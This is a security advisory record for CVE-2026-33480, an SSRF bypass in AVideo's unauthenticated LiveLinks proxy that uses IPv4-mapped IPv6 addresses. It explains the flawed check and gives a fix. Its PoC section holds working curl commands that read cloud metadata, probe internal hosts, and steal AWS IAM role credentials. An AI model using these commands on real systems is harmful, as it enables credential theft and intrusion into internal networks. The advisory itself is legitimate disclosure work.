{"id":"CVE-2026-33480","aliases":["GHSA-p3gr-g84w-g8hh"],"url":"https://o3.security/vulnerability/CVE-2026-33480","summary":"AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy","details":"## Summary\n\nThe `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.\n\n## Details\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:\n\n1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\\./`, `/^172\\./`, `/^192\\.168\\./`, `/^127\\./`, `/^169\\.254\\./`)\n2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)\n\nThe gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:\n\n```\n// Line 4038: parse_url strips brackets from IPv6 host\n$host = parse_url($url, PHP_URL_HOST);\n// $host = \"::ffff:169.254.169.254\"\n\n// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution\nif (!filter_var($host, FILTER_VALIDATE_IP)) {\n    $resolvedIP = gethostbyname($host);  // SKIPPED\n}\n$ip = $host;  // $ip = \"::ffff:169.254.169.254\"\n\n// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)\nif (preg_match('/^169\\.254\\.\\d{1,3}\\.\\d{1,3}$/', $ip))  // NO MATCH\n\n// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix\nif ($ip === '::1' || ...)                    // NO MATCH\nif (preg_match('/^fe[89ab][0-9a-f]:/i', $ip))  // NO MATCH\nif (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip))  // NO MATCH\n\n// Line 4168: returns TRUE — bypass complete\nreturn true;\n```\n\nThe vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:\n\n```php\n// proxy.php lines 2-3\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\n```\n\nAfter the bypass, two requests are made to the attacker-controlled URL:\n1. `get_headers()` at line 40 (via stream context)\n2. `fakeBrowser()` at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)\n\n## PoC\n\n**Read AWS instance metadata (IAM credentials):**\n\n```bash\ncurl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'\n```\n\n**Access localhost services:**\n\n```bash\ncurl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'\n```\n\n**Scan internal network:**\n\n```bash\ncurl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'\n```\n\n**Steal AWS IAM role credentials (full chain):**\n\n```bash\n# Step 1: Get IAM role name\nROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')\n\n# Step 2: Get temporary credentials for the role\ncurl -s \"https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}\"\n```\n\n## Impact\n\n- **Cloud credential theft**: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.\n- **Internal network access**: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.\n- **Localhost service access**: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).\n- **No authentication required**: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.\n\n## Recommended Fix\n\nReplace the manual IPv4/IPv6 blocklist approach with PHP's built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:\n\n```php\n// In isSSRFSafeURL(), replace lines 4099-4166 with:\n\n// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)\nif (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    _error_log(\"isSSRFSafeURL: blocked private/reserved IP: {$ip}\");\n    return false;\n}\n```\n\nThis single check replaces all the manual regex patterns and correctly handles:\n- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)\n- Loopback (127/8, ::1)\n- Link-local (169.254/16, fe80::/10)\n- Unique local (fc00::/7)\n- **IPv4-mapped IPv6 (`::ffff:0:0/96`)** — the bypass vector in this finding\n- Other reserved ranges (0/8, 100.64/10 CGN, etc.)","published":"2026-03-23T14:08:49.302Z","modified":"2026-08-12T03:51:13.527170977Z","cvss":{"score":8.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373","label":"WWBN/AVideo@75ce8a5"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33480.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33480"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.527170977Z"}}